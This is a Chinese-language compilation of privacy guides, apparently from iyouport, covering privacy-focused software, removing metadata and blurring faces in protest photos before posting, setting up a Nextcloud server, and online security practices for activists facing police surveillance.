GNU social 的功能有点类似推特，但希望能为微博客社群，提供更开放、互相扶持的分散式沟通功能。企业或个人可以自行安装 GNU social 在自家机器上，以控管自己的服务与资料数据。著名的公共网站如： quitter.se 和 gnusocial.no.

安全的网络笔记应用

如果你仍然在使用如 Evernote、Google Keep 或 Microsoft OneNote，赶紧换掉它们。

Laverna 以 JavaScript 开发的网页笔记应用程式，它支持 Markdown 语法编辑和加密功能。这个应用程序将笔记储存在浏览器的资料库上，只有你能取用，所以既安全又能保护隐私。操作系统：Windows, Mac, Linux, 网页。

Turtl 可以做笔记、网址书签和储存敏感专案的文件。它可让工作伙伴共享密码,追踪你所写的文章。 Turtl 让文件保持安全,只有你和有分享权限者可以看到。操作系统：Windows, Mac, Linux, Android.

Standard Notes 是一个简单私密的笔记应用程序，可以轻松、随时随地作笔记。它的功能包括了每个平台上端点对端点之间的加密，而其桌面应用则有丰富的主题模版和客制化编辑器。操作系统：Windows, Mac, Linux, iOS, Android, Web.

安全的生产力工具

Etherpad 是一个可以高度自定义的开源在线编辑器，它提供了即时的协同编辑功能。 Etherpad 可以让你即时地在线上协力编写文件，在你的浏览器上就像是有多名参与者共同在编写一份文章、发布消息或是任务清单等等功能。操作系统：Windows, Mac, Linux.

EtherCalc 是一个网页版的试算表，其资料存在网页上，使用者可以同一时间在同一个档案上进行编辑而其变动会立即呈现在屏幕上。它可用来作为共享的库存统计、问卷表单、清单管理、脑力激荡等工具。操作系统：Windows, Mac, GNU/Linux, FreeBSD, Browser.

ProtectedText 是一开源的网页应用程序，它可以在浏览器上加密与解密文字档案而其密码(或称其杂凑值)绝不会送回到服务器。—因此若密钥和密码则文字内容无法被解密，就算有关当局拿到文档也没用。它无 cookies, 无时限，不用注册也不会对用户进行追踪。支持各式浏览器。

安全电脑操作系统

如果你目前还在使用微软 Windows 或是苹果电脑 OS X 的操作系统，或许该考虑其它替代选项了。

Qubes 是一个开源的操作系统，其设计为桌面型电脑提供更坚强的安全保护。 Qubes 是以 Xen 为基础, X 视窗系统桌面环境与 Linux,它可

以执行大多数的 Linux 应用程序以及适用大部份的 Linux 的硬件效能驱动。

Debian 有点像 Unix 的电脑操作系统，它是 Linux 的发布版本之一，其由自由免费的软件所组成，大部份的软件都是采用 GNU 一般公共授权。有一群人长期地投入 Debian 专案的开发维护。

⚠为什么 **Windows 10** 是隐私噩梦？

因为1、系统会默认预设为启用资料同步：浏览网络记录与打开的网站；应用程序设定；WiFi 热点名称和密码。2、你的机子被预设标记了一个独一的广告识别码：用它第三方广告商或网络商可对你进行个性化广告服务。3、Cortana 可以收集你的任何资料：键盘记录，搜索与麦克风输入；日历资料；聆听什么音乐；信用卡资讯；购买行为。4、微软可以收集任何个人资料：用户身份识别；密码；人种族群资讯；兴趣与习惯；使用数据；联系人与人际关系；地点地理资讯；电子邮件、即时通讯的内容、通话记录与声音影像记录。5、你的资料可能被他人使用：下载 Windows 10 时,你授予了微软公司可以将上述资料分享给第三者，不管有无取得你的同意。

你也可以下载这个工具 **W10Privacy**，利用一些已知的方式来设法禁用 Windows 10 下主要的追踪监控功能。以及另一些应对方法。

> 美国国安局建立了一套设施，其几乎可以拦截任何通讯。这套设备的能力，大多数人类的通讯都会自动地被吸纳进去而不是针对特定目标。如果我想要看你的电邮内容或是你老婆的电话，我只须要利用这套设备进行拦截，就可以取得你的电子邮件、密码、电信通话记录、信用卡资料等等。我不想活在一个做这种勾当的社会里，我不想要活在一个任何所做的事所说的话都被记录下来的世界。这不是我愿意去支持或是存活下来的地方。

开源的路由器固件

OpenWrt 是一套利用 Linux 核心的操作系统 (特别是一种「嵌入式」操作系统)，主要用于一些路由网络流量的设备上。它主要的构成是由 Linux 核心, util-linux、uClibc 和 BusyBox。这些元素都已经过尺寸的最佳调适，以符合家用路由器这类的小型设备与其有限的内存容量与储存空间。

pfSense 是利用 FreeBSD 所开发的一套用于防火墙/路由器上的开源固件。它安装在电脑上可变成网路上防火墙/路由器功能，并以其可靠与不输给商用软件的强大功能而著称。 pfSense 通常布署在周边的防火墙、路由器、无线接取器、DHCP 服务器, DNS 服务器, 以及 VPN 末端点。

LibreWRT 是一套以 GNU/Linux-libre 授权的发布版本，利用最小的资源装置在电脑上，例如 Ben Nanonote，利用 ath9k 的无线路由器以及其它强调尊重用户自由与免费软件的硬件设备上。自由软件基金会即在其接取器和路由器上安装 LibreWRTIt，以提供办公室内移动电脑设备的网络连线。

我们会不断推荐新出现的优秀产品，欢迎关注。我们很珍惜您的支持，因为打败数字极权需要我们所有人一起努力。

原文

AS50 在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作 - iyouport

护盾（AS）

【2020年10月14日存档】作为参与者，您应该有意识地保护行动整体的安全，当然包括您的个人安全

从去年十几个国家/地区参与的抗议活动开始（包括香港），直到今年BLM带动的多个国家联合的抗议运动，各种群体反抗一直在激增，示威游行的有力照片和录像吸引了全世界的目光。

不幸的是，如果在线上传照片之前没有采取保护措施，那么这些照片可能会使您或其他人处于危险之中。

- 不要错过《警察用哪些监视方式瞄准抗议者？》
- 《如何在监视时代参加抗议活动》
- 《买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事》
- 《指南：当您准备参加抗议活动...》

在抗议活动中拍摄和记录证据非常重要。这不仅可以避免被警察反咬，而且有些时候还能发现警方的渗透者。

尤其是，媒体捕捉的镜头经常很片面，甚至有误导性 —— 企业媒体甚至会埋没真正的抗议目的。

但不论是抗议者的脸部出现在新闻报道中，还是被警方的社交媒体情报所捕获，都很可能导致被捕、被骚扰甚至更糟。

因此，采取预防性隐私措施至关重要。

如果您参加了抗议活动并想要分享图像，您需要知道，保护自己的身份以及您拍摄到的其他人的身份至关重要。

本文将讨论的是在社交媒体上发布抗议图片和视频之前应采取的步

骤，例如 剥离元数据，模糊面孔和任何可识别性信息线索，使用匿名帐户或一次性帐户等等。

老读者会知道，这些方法我们曾经都介绍过，只是分散在不同的文章中了。现在 gadgethacks 用一个背景将它们综合起来，这样也许更便于查找。

步骤1：删除地理标签和其他元数据

「图」

Exif 数据是数码相机（包括智能手机相机）记录的元数据。

数据为摄影师提供了有关所用相机设置的有用信息，例如光圈、ISO 感光度、焦距、闪光灯使用、曝光时间、变焦级别、分辨率、色彩空间等。

尽管这些功能很有用，但其中包含的数据也可以用来跟踪您和您拍摄的照片的位置，包括黑客和警察，几乎任何人都可以使用该信息来了解您去过的地方和您的身份。

- 不要错过，各种元数据工具《都是工具，从自我保护到有效利用》
- 《深挖推特：如何从推文中提取准确的元数据？》

最敏感的信息是地理标签或地理坐标，它们可以精确地指出拍摄图像或视频的确切位置。

然后是所用相机的制造商和型号、其软件以及时间和日期，所有这些都可以定位您。甚至还有加速度和高度数据，后者可以说出您是在地面上还是在几层楼上拍摄的该图像或视频。

对于智能手机，有很多选项可以从照片和视频中删除GPS数据和其他元数据。不过并非所有功能或应用程序都适用于所有类型的视觉媒体，甚至不能在所有移动操作系统上通用。

尽管某些社交媒体网站（包括 Facebook、Twitter 和 Instagram）会自动隐藏元数据，但那只是对其他用户不可见而已，平台自己会保留，随时可能交给警察。于是您最好是在上传之前手动安全地删除元数据。

选项1：从照片中删除地理标记和其他元数据

「图」

如上所述，有许多不同的方法可以从照片中删除地理标记和其他元数据。在进入删除大多数 Exif 数据的第三方应用程序之前，您的设备中可能就有从图像中删除位置数据的本地功能。您需要使用它。

在iOS上，您可以先删除任何照片的位置数据，然后再从“照片”应用中共享它。在 Android 上也许复杂一些，具体取决于您的设备的品牌和型号。

例如，在 Samsung Galaxy 的 Gallery 应用程序中，您可以向上滑动图像以显示其详细信息，点击“编辑”，然后删除位置。

如果您主要将 Google 相册用作保存视频和照片的地方，例如在 Pixel 手机上，除非您的设备“估计”了该位置，否则您无法删除该位置（在照片上滑动，点击该位置旁边的“ 更多信息”，然后点击“没有位置”），但是在通过Google 相册共享图像时，您可以禁用位置共享。

另外，您可以简单地在 iPhone 或 Android 上拍摄任何照片的屏幕快照，这不仅能自动从原始图像中删除位置标签，而且还会删除所有其他Exif元数据。

但是，这样做会降低照片的质量。如果您急于想要在线上传照片，这是一个可行的选择，但是对于其他所有功能，还有第三方应用程序可以做得更好。

对于 iOS,，例如 Exif Metadata, Metapho, HashPhotos, Exif Viewer, Koredoko, ViewExif, PixelGarde, 和 Photo & Video Metadata Remover，都可以从图片中清除地理标记和其他元数据。

其中很多应用还允许您编辑元数据，因此您可以通过更改拍摄图像的实际位置来愚弄监视者。当然，你知道，假消息制作者也会这么干。

另一方面，在 Android 上，有诸如 Metadata Remover, ExifTool, Scrambled Exif, 和 Photo Stripper 之类的应用程序，可以擦除所有Exif信息。

您可以使用的最佳选择之一是跨平台的开源工具，因此您可以在拥有的任何设备（包括计算机）上使用它。它被称为 Image Scrubber，它

可以在任何Web浏览器上正常运行。

上传图像后，它会向您显示其所有 Exif 数据，然后可以在其中“清理”它。如果要从视频中捕获静止图像，也可以上传视频并选择帧，然后查看和清理 Exif 详细信息（如果有的话）。

选项2：从视频中删除地理标记和其他元数据

「图」

视频的发布与静态图片一样多，甚至更多，您也可以从其中剥离元数据。但是，对于智能手机上的本机 Exif 删除工具来说，可能没有太多选择。

如上所述，您可以通过“照片”应用程序使用iOS 13的删除选项，前文中概述的有关从 Google 相册中删除照片位置数据的方法也适用于视频，但是三星禁止从视频中删除 Exif。

当涉及到第三方工具时，适合处理图像的许多应用程序也都可用于视频。以下将简要展示适用于iOS的照片和视频元数据删除器以及适用于 Android 的 ExifTool，它们都是免费工具。

- 使用照片和视频元数据删除器（**iOS**）

打开“Photo & Video Metadata Remover”应用，从“照片”应用中选择一个视频，点击出现在视频左下方的齿轮图标，然后选择“清除所有元数据”。不含任何元数据的新视频将保存到您的设备中。

- 使用 **ExifTool**（**Android**）

打开 ExifTool 应用程序，从图库中选择一个视频，您将看到该视频的元数据分成不同的组。

点击右下角的三条线菜单按钮，选择“全部擦除”，然后选择“是”进行确认。它将删除所有可删除的元数据，例如位置和日期等，但保留其他无用的元数据。

步骤2：隐藏和模糊化面部及任何可识别性信息线索

「图」

除了剥离元数据外，保护照片和视频中的人物脸部及疤痕等、以及地理位置标记（例如路牌等）也至关重要。

可以很容易地从照片或视频中识别出面孔、标志性衣着、疤痕、纹身、胎记、地址、企业挂牌、广告牌、和著名地标等线索。也就是您在 “开源情报” 地理定位操作中第一步要瞄准的那些东西。

甚至独特的衬衫设计也可以帮助识别一个人。

- 在 列表-5 中的 “侦探挑战” 板块中您能看到，一扇窗子、一只鸟、一棵树、一辆汽车的驾驶座位等等，都能进行地理定位

尽可能隐藏面部和可识别性信息的最佳方法是将其模糊或涂黑。模糊效果很好，总体上看效果最好，涂黑会更安全，因为无法逆转效果。

但只要您使用在智能手机上处理模糊化效果的工具、并且不要将副本保存在所谓的云中，对大多数人来说这就足够了。

选项1：遮盖照片中的信息

「图」

如果您只想涂黑（或使用其他纯色），那么智能手机上的本机工具就足以完成任务。

对于 iPhone，在“照片”应用中查看图像时，点击 “编辑”，然后点击省略号（•••），然后点击 “标记”。在这里您可以使用纯墨水和钢笔、铅笔或形状的工具来隐藏对象。

对于三星 Galaxy 手机，在 “Gallery” 应用中打开图像，点击工具栏中的笔图标，然后点击绘画图标。点击出现的钢笔图标以选择笔尖和强度。您还可以使用贴纸工具将有趣的贴纸放在敏感信息上。

如果使用 Google 相册，请点击工具栏中的波浪线图标。选择标记工具，黑色墨水（或另一种颜色），然后随便画就行了。

但是没有本机模糊工具，因此如果您想要模糊化处理，则需要使用第三方工具。

Signal 刚推出了用于其安全消息传递应用程序的模糊工具，并提供了自动和手动选项以遮盖面孔，您可以在编辑图像后下载图像，而无需在其中共享消息。

除此之外，还有许多其他可用的工具，您可以在应用商店中进行搜索，但是最简单的工具之一是 Image Scrubber，上面已经讨论过了。

这是一个跨平台的网络应用程序，还可以使您模糊或涂黑照片中的某些部分。开发人员 Pipkin 声明，Image Scrubber 不会在任何地方共享您的信息，并且所有图像处理都在您的设备上的Web浏览器中进行（源代码在这里）。

选项2：遮盖视频中的信息

「图」

尽管视频比照片更难更改，但模糊任何面部、地址、车牌号和其他可识别性信息仍然很重要。

您可以使用许多第三方应用程序做到这点，但是有两个免费且不包含水印的流行应用程序分别是 iOS 的 Video Mosaic App 和 Android 的 Blur Video。

- **Photo & Video Mosaic App（iOS）**

在 Video Mosaic 中打开一个视频。使用视频下方的预览栏，您可以滚动到要模糊的画面从开始和结束的确切位置。

在这里您可以使用各种功能向面部、地址、文本、车牌、建筑物等添加模糊效果。使用该应用底部的工具更改模糊强度和效果。完成后，将编辑后的视频保存回本地“照片”应用程序。

- **Blur Video (Android)**

在 Video Mosaic 中打开一个视频。使用视频下方的预览栏，您可以滚动到要模糊部分的开始和结束的确切位置。过程如上所述一样，完成后，将编辑后的视频保存回本地“照片”应用程序。

步骤3：使用匿名帐户发布

「图」

如上述这些方法，删除元数据并模糊一切可识别性信息可以保护其他人，但是，如果您将照片和视频发布在个人帐户上，那么追踪您就易如反掌了。

只要监视者在您的帐户上找到抗议照片，就可以通过查看“朋友列表”、阅读旧帖子、访问您的其他在线帐户的链接等等形式，了解您生活的几乎全部。

这就是为什么最好的选择是发布到匿名帐户或个人信息相对较少的帐户。在下面看到具体方法：

- 这篇文章很重要，里面的所有关联链接都很重要《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》

如果您要在网上发布抗议现场照片，Twitter 是最好的选择，仅仅是因为保持匿名和获得关注度更容易。

在 Instagram 上就有点困难了。但只要未与个人帐户建立任何联系，您就可以创建并发布 Finsta —— 即 fake Instagram。

您还可以使用匿名 Facebook 帐户发布抗议照片。在下面看到具体指南，关于如何设置虚假的 Facebook 个人资料、如何创建一次性电子邮件或电话号码，将应用程序与手机数据隔离，使用VPN，删除和禁用位置记录，更改隐私设置等等。

- 《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》
- 《摆脱追踪者：您的行动必须是匿名的，否则没有可持续性》
- 《使用社交媒体时你必须注意什么？—— 更安全的抵抗》
- 《伪装＋擦除—— 在线隐身的重要步骤（少数派玩家）》
- 《角色扮演：行动者刚需》
- 《您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识》

此外，即使您使用匿名帐户发布信息，也请务必从您的信息中删除您的位置。

尽管您可以在发布时删除坐标，但您可能会无意中将其地理位置信息添加到了帖子中。在大多数情况下很容易避免这点。在 Instagram 和 Facebook 上，您所需要做的就是不手动包含您的位置。

但是，在 Twitter 上，可能会跟踪您的精确坐标。

要关闭位置数据，点击左上方的个人资料照片，依次转到“设置和隐私”，然后转到“隐私和安全”。向下滚动并点击“精确位置”并将其禁

用。

步骤4：在线发布照片之前使用VPN

「图」

这应该就不必细说了。至少中国用户使用 Twitter 或 Facebook 时必需加VPN。

但是，如果您不在中国，可能就很容易忘记**VPN**的使用，不要。尤其是选择可靠的VPN，您需要熟记方法（而不是去问其他人“这个或那个可靠吗”），您应该自己判断 —— 您可能无法知道他们中哪位是拿钱说话的人。

- 《如何检查您的VPN连接是否实际加密》
- 《什么时候你需要VPN？》
- 《如何验证您的 VPN 连接是否安全？》

最后

「图」

就是这样。不要错过我们的“难以被追踪”系列 和 “完美隐身”系列，在列表 **-1** 中有单独的汇总板块 —— 前者中介绍的方法在日常情况下您应该都用得到；后者中介绍的方法在您被盯上了或需要逃命的时候绝对用得到 —— 请注意，对于关心政治的读者来说，已经“被盯上”却没有察觉到是非常可能的。

参加抗议活动是一种“特殊时刻”，即便您自己不担心被捕，您也应该希望您参加的活动能真正发挥作用，至少不那么容易被迅速扼杀掉。所以，每一位参与者都应该努力维护运动的目标，首先就是信息安全。

希望您的所有队友都具备足够的安全意识。

上述关联的所有文章都很重要；并且您可以在我们的 列表**-1** “技术防身” 中 和 列表**-5** “护盾” 中找到更多安防知识。〇

原文

AS51 如何打造自己的云，逃离监视资本主义：Nextcloud 入门 - iyouport

护盾（AS）

【2020年10月23日存档】不需要很多技术就能做到，而且有特别多的教程支持您

冠状病毒爆发带来的部分巨大动荡意味着我们很多人突然不得不在家工作。与同事保持联系并就工作项目进行协作的挑战导致了 Zoom、Microsoft Teams、Slack 和 Google Docs 等成熟服务的用户数量大幅增长。

- 《不止是 Zoom，Google Meet、Microsoft Teams 和 Webex 都不安全》

这些都是具有很多功能的应用，但是，对于担心自己的隐私人权或必须遵守GDPR法规的用户来说，它们也有相当大的弊端。

Zoom 会与第三方共享你的数据，Google 会给自己创建的文档一些专有权力，而你的 Slack 对话可能并不像你想象的那样私密。

这些应用程序质量高、方便，隐私问题可能不是许多用户关心的问题——但是，如果你担心被监视和法律问题，如 GDPR，或者你只是希望自己的数据仍然在自己的控制之下，该怎么办？

nixinte 介绍了一个方法。

与这些其他服务相比，Nextcloud 允许您完全配置自己的云平台，这样您的数据和活动就不会与任何第三方共享。

它拥有越来越多的应用程序，允许您通过简单的一键式附加组件构建自己的自定义云系统，因此您可以轻松复制一些您在其他平台上体验到的聊天、文件共享、协作、日历、视频会议和社交功能等。

它还带有很多额外的安全和隐私功能，现在正成为法国和德国政府的

首选云解决方案。

Nextcloud 拥有您可能读到的最简单、最清晰的隐私政策，这并非巧合。

我第一次使用 Nextcloud 是在三年前，因为想尝试构建自己的云存储服务器。

这是我的第一个 Linux 服务器项目之一，通过做这个项目我学到了很多东西。一路走来，我犯了一些错误，但在三年的持续使用中，它从未失败过。

在 **Nextcloud** 上的私人数据或活动没有一个字节被转移到任何第三方。

现在我在家工作的时间越来越多，已经将服务器扩大了一些，所以除了文件共享之外，现在还包括视频会议、项目协作和许多其他生产力工具。

当您在家工作时，不必为了保持连接而用自己的隐私人权和安全做交易。

这篇文章向您展示了如何设置和运行您自己的 Nextcloud 服务器，并安装一些生产力应用程序。

如果您以前从来没有做过这样的事，也不必担心 —— 没有必要开始修补命令行和命名服务器。Nextcloud 可以无限扩展 —— 你可以建立自己的个人云，也可以将其作为企业级云服务来运行。

本指南旨在让您快速启动和运行，因此我们将从最小的 Nextcloud 服务开始，但使其更大并添加额外的应用程序非常容易，就像您即将看到的那样。

入门

「图」

Nextcloud 能够提供高度的隐私，因为它不提供免费托管迫使您用自己的数据做交换。Nextcloud 只是软件，所以要运行它，您必须得自己提供服务器空间。

有两种方法可以做到这一点。您可以从底层创建自己的 Nextcloud 服

务器，比如 Digital Ocean，或者可以使用一些专用的 Nextcloud 托管提供商，他们会给您提供一个现成的产品，您可以根据自己的意愿进行定制。

本指南假设您想拥有自己的 Nextcloud 服务器并运行，而不需要从头开始搭建，所以下面会向您展示如何使用专用提供商来设置 Nextcloud。

如果您的技术性更强一些，想从头开始构建服务器，那么本文的最后链接了一些资源可以帮助您。

使用专用的提供商意味着您不必担心管理备份、防火墙、证书以及其他使服务器正常运行的细节，因此在本指南中不再赘述。

决定你想要什么

「图」

本指南将展示如何用 OwnCube 设置 Nextcloud 服务器。

大多数 Nextcloud 提供商提供了一个免费的个人云，有几个应用程序和几个GB的存储空间，但没有选项让您添加额外的用户或安装其他应用程序，如果您想在家协作工作，您就需要这样做。

OwnCube 最基本的套餐费用为每月5欧元，100GB的服务器，你将可以在 Nextcloud 服务中添加自己的用户、群组和应用。一个10TB的服务器每月的费用是60欧元。

如果您不希望使用 OwnCube，那么可以使用许多其他 Nextcloud 提供商。值得注意的是，它们主要在隐私政策严格且GDPR为标准的国家/地区提供服务：

无论您选择哪家提供商，在注册过程结束时，您都会有一个用户名、密码和一个新创建的服务器的URL。大多数提供商将为您的服务器提供一个免费的子域，这样您闪亮的新 Nextcloud 服务器将位于某个地方，如https://myserver.myprovider.com。

安装桌面客户端

「图」

Nextcloud 可以在您自己的电脑和服务器之间同步文件。

要做到这一点，您需要为自己的操作系统安装 Nextcloud 客户端。有 Windows、Mac 和 Linux 的客户端，也有 Android 和 iOS 的移动客户端。安装并运行后，您会看到这样的画面：

点击“登录”，然后在提示时输入您的域的网址（如https://mycloud.owncube.com）以及用户名和密码。接下来，您将在自己的电脑上创建一个本地文件夹，这将与您的新 Nextcloud 服务器同步。

您在本地进行的任何文件更改都将复制到云端，反之亦然。如果您不想同步本地 Nextcloud 文件夹中的所有内容，可以指定哪些文件夹要包含、哪些要忽略。

添加移动应用

「图」

Nextcloud 还包括一个 Android 或 iOS 应用程序，允许您在云和移动设备之间同步一切。

只需下载并安装该应用，然后输入您的服务器名称、用户名和密码 —— 很简单！如果您是一个注重隐私的人，想减少对谷歌的依赖，可以将您的 **Android** 手机设置为停止与谷歌照片同步，而只与您的个人 **Nextcloud** 同步。

将应用程序添加到 Nextcloud

「图」

Nextcloud 提供了越来越多的应用程序，您可以添加到自己的服务器上。其中一些是成熟的，虽然您会看到有些还是测试版。

您需要成为管理员才能安装应用程序，所以请注意，大多数免费套餐账户不授予您管理员权限。如果您是管理员用户，点击服务器主页右上方的个人资料图标，选择“Apps”。

现在，屏幕左侧有一个小的应用程序商店，可让您浏览可用的应用程序：

应用商店看起来像这样：

选择您想要的应用，然后点击“下载并启用”。这就是您要做的一切!

安装后，每个应用程序都有自己的设置页面，您可以根据需要进行其他更改。已安装的应用程序可从屏幕顶部的工具栏访问。

「图」

在此示例中，您可以看到文件管理器、活动日志、库、邮件、联系人、圈子、日历、密码库、便笺和其他应用程序已安装并可以使用。

为了增强 Nextcloud 服务器的安全性，建议您为用户账户添加基于设备的双因素认证，安装密码强制保护，并启用 HaveIBeenPwned。后者使用 HaveIBeenPwned API 来检查用户账户密码。

任何与100万个最常用的密码相匹配的密码都是被禁止的，所以您的服务器上没有人能够使用“password1”或“qwerty123”来登录。

Nextcloud Talk

「图」

Talk 是迄今为止最有用的 Nextcloud 功能，用于在远程工作时与同事保持联系。它包含群组和个人聊天，音频和视频通话。建议观看下面这段简短的视频，其中突出介绍了一些功能：

Nextcloud Talk 使用 WebRTC 进行视频和音频聊天，因此它可以直接在浏览器中运行。

需要注意的一个限制是，如果没有增加一个 STUN 服务器来处理流量，WebRTC 不能在某种类型的网络上进行通话。

不过您不需要通过技术手段来解决这个问题 —— 像 Owncube 这样的专门提供商会在您的套餐中增加这个功能，每月只需支付3欧元。

随着视频会议需求的增加，您的服务器的工作量也会增加。不要指望能够在一个入门级的 Nextcloud 套餐上运行的视频通话中主持30多个参与者，尽管这些较小的服务器对于小用户数量来说是不错的。

Nextcloud Talk 为用户数超过50人的团体提供付费支持计划。

Nextcloud Talk 还附带了自己的 Android 和 iOS 移动应用程序（此应用程序与主要的 Nextcloud 应用程序分开）。

这是 Nextcloud 入门的非常简短的指南。按照这里描述的方式进行设置并不需要很长时间（不到一个小时），如果您陷入困境，可以找到一些出色的文档、支持论坛和数十个视频教程。

自托管

「图」

如果您更喜欢在自己的 Linux 服务器或VPS上托管 Nextcloud 的技术挑战，那么这里有一些有用的资源。您不需要成为一个 Linux 专业人员才能开始 —— 知道如何设置SSH连接；基本的防火墙，如UFW；基本的IDS，如Fail2ban，就足以开始。

- DigitalOcean—在 Ubuntu 服务器上设置 Nextcloud 的指南。
- Titus Tech Tips—该视频显示了如何设置 Nextcloud。
- Linuxbabe—用 Nginx 安装 Nextcloud。这种方法效果很好，但是如果您不确定怎么做，那么像在 DigitalOcean 教程中一样，使用 Snap 安装 Nextcloud 会更加简单。
- Techno Dad Life—有关如何使用 Docker 安装 Nextcloud 的视频教程。

○□

Make Your Own Cloud: Getting Started With Nextcloud

原文

AS52 在线组织须知：使用互联网进行组织动员时需要注意什么 - iyouport

护盾（AS）

【2020年10月27日存档】关于活动家在线组织动员时至少应该想到哪些问题

您的麻烦不仅会来自警察，也会来自各种隐秘的政府线人，甚至还包括违背安全协定的队友 —— 一个人的疏忽将导致一群人陷入危险。

您肯定不会希望行动在尚未开启之前就被扼杀，也不会想要队友遭到逮捕。

所有相关知识我们都曾经介绍过，而本文将以最简洁的语言把保护安全的思考方式串联一下，关于：活动家在线组织动员时至少应该想到什么。

这份 “须知” 的框架来自英国活动家对团队成员的告诫，我们添加了一些适合中国活动家的内容。

要点：

- 考虑一下在动员过程中您如何在线交流、以及小组中的谁将扮演这个角色；
- 了解社交媒体的不同隐私设置，并考虑其他更安全的在线组织选项；
- 如果您使用的是 Twitter、YouTube 或 Instagram 之类的工具，请确保您没有发布允许跟踪您的位置或导致他人面临危险的文字、照片或视频；
- 请随时记得，如果您被捕，警察就会查抄您的所有电子设备，他们可以从智能手机和电脑中获取有关您的大量个人数据 ……

警察的在线情报收集

「图」

从2011的反抗运动开始以来，英国警察就开始购买更多的监视软件并雇用了专门的工作人员。从 Twitter 等社交媒体收集 “开源” 情报 —— 它被称为 SOCMINT 即 社交媒体情报。

警方开始收集大量数据，然后对其进行广泛的分析 —— 警察们建立了关于活动家组织和异议人士的详细个人资料，以分析其个人和组织之间的关系，由此来预测抗议者的人数、以及抗议者可能采取的措施。

也就是提前维稳。

对于特定的追踪主题或问题，警察们也使用大量的地理位置数据，用于从情报收集工具到地图输出，例如可视化推文或实时上传的照片和视频。

对于个人活动家来说，警察们使用开源情报侦查创建了针对每个敏感人士的详细 “个人资料”，其中可以包含家庭的详细信息、以及人际关系、生活方式和习惯、就业细节和个人财务等等。

活动家和组织者面临的最大问题是，他们已经在社交媒体上共享了太多的信息。社交媒体一直是现代组织行动的重要组成部分，也是在线辩论的主要媒介，有很多人定期在这里与其他人进行交谈 …… 而所有这一切，都为警察的追踪监视提供了极大的便利。

每个人都应该了解所有这些，就算您不是活动家，也没有意愿参与反抗行动，您也应该明白，警察和当局很可能认为任何他们不喜欢的内容都是威胁，甚至在某些国家，警察机构会被分配维稳 “指标”，他们会拿您去充数 **……**

📌 因此，在使用社交媒体时，有一些简单的步骤您需要考虑：

1、考虑一下您所在的小组如何彼此沟通

「图」

建议您的团队尽早审核自己暴露于互联网的所有内容 —— 其中哪些适合被公开访问，哪些必须是内部私密的，还有哪些只能限于小范围的内部成员获知。

考察你们使用的互联网通讯服务都有哪些，包括社交媒体，是否能做

到所有成员都可以熟练使用相关的安全知识；如果尚未满足这点，考虑制定规则以及进行培训。

经验不足或准备不足会非常危险，不仅您本人危险，而且会牵连整个团队/组织中的大多数人。

2、考虑一下您的团队如何使用 Facebook 这类社交媒体进行组织动员

「图」

多数活动家都是出于个人原因使用 Facebook 帐户。但是，如果您使用个人账户去进行组织动员，就会非常危险，因为个人账户关联了有关您的身份的太多线索性信息，警察当局的抓捕行动最喜欢瞄准的就是组织者。

非常建议您区分组织工作和私人生活，使用分身方法使两个身份相关的所有内容之间没有交集。

其他成员也可以采取这种方法，以避免警察当局更轻易地在行动真正发起之前就扼杀掉它。

- 📌 技巧《活动家和组织者究竟是否可以使用社交媒体进行宣传动员？：这里是一些注意事项》

🛡 如果您的小组正在使用 Facebook 来进行除了所谓的 “主页” 之外的其他任何内容的宣传活动，诸如小组之类的公共活动，请仔细查看其隐私设置，并考虑一下，你们之间的对话内容，是否会涉及到行动计划、旅行路线、行动策略等非常具体的细节；如果有，请考虑切换到更私密的通信媒介，比如 Signal、wire等。

如果您创建任何在线群组，请考虑成员列表，这些人您都了解吗？了解程度如何？可以分配哪种安全等级、赋予哪种知情权限？就算是最私密的最匿名的群组，也一样，随时都可能被截图留存，您应该考虑到这点。

活动家个人如何使用社交媒体

「图」

最好是能仔细设置可见度权限 —— 比如 Facebook，尽可能选择 “仅

限朋友”。

当然，您需要仔细甄别“朋友”，您添加的所有人都具有更高级别的了解您的权限，曾经发生过很多类似案例，其中政府间谍假扮您的熟人以获取“朋友”权限。

- 《如何识别 Facebook 上的假朋友请求》

📌 在我们的列表 -5 “护盾” 板块中看到更多隐私保护选项，这个部分是专门服务于敏感人士的安全保护知识。

尽可能避免使用手机登录社交媒体网站，如果必须使用，请先关闭定位功能。

🛡 不要在任何发布的内容上添加您的位置，也要要求组织中其他成员这样去做。并且，要注意您分享的任何照片和视频，其中是否包含能够追踪到您的身份和位置的信息细节。

📌 您可以在“开源情报”栏目中看到哪些细节最容易被追踪定位。

在按下“发布”按钮之前，要始终采取对抗性思考方式 —— 想想看，恶意者会如何使用您即将发布的内容？

当您在 Twitter、YouTube 和 Instagram 上分享内容时

「图」

Twitter 对于活动家来说是非常有效的通信工具，但是，除非锁定了账户，否则任何人都可以看到您的一切状态，包括个人资料和发布的任何内容，而追踪者是无需账户的，也无需关注您。

很多人因此锁定了自己的推特账户，但您需要考虑到，申请关注您的人您真的都认识吗？即便全部认识，您如何确保其中没有人被当局收买的人以监视您？

这些都无法保证，于是锁定账户一定程度上是一种自我安慰。尤其是对于活动家来说，锁定账户将在很大程度上失去组织动员的影响力。

🛡 所以，折中的方案就是，您需要做一些设置上的调整，当然也包括使用方式上的调整，以便尽可能保护自己的安全。具体操作见下面：

- 《在Twitter上提高隐私和安全性的7个技巧》

- 《使用社交媒体时你必须注意什么？—— 更安全的抵抗》
- 《活动家和组织者究竟是否可以使用社交媒体进行宣传动员？：这里是一些注意事项》
- 《在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作》

📌 在推特发布任何内容之前，请仔细考虑这些内容会带来什么样的结果；关于您使用 Twitter 的方式以及您在推文中包含的信息：

1、您计划在抗议活动之前和之后在哪里会面其他活动家吗？切勿在您的发布中暗示和提及任何相关地点的信息。

这些消息/哪怕只是一张照片，都会帮助警察对您和您的同伴进行追踪定位。

📌 关于哪些线索对追踪具有价值，您可以参加我们的 列表-5 中的 “侦探挑战” 板块，其中所演示的大部分内容都是社交媒体情报的追踪操作。

2、实时发推可能会有助于提升活动家的形象和影响力，尤其是在活动现场实时传送的信息，将很大程度上加强动员能力。但是，这样做也非常容易让监视社交媒体的警察很容易定位和识别任何参与者 —— 他们很有可能会因此被逮捕和迫害。您需要想清楚这件事。

🛡 如果您选择在已经撤离到安全地带之后再发布活动现场的内容，并不会比实时传递的影响力差多少，但可以保护您和队友的安全。

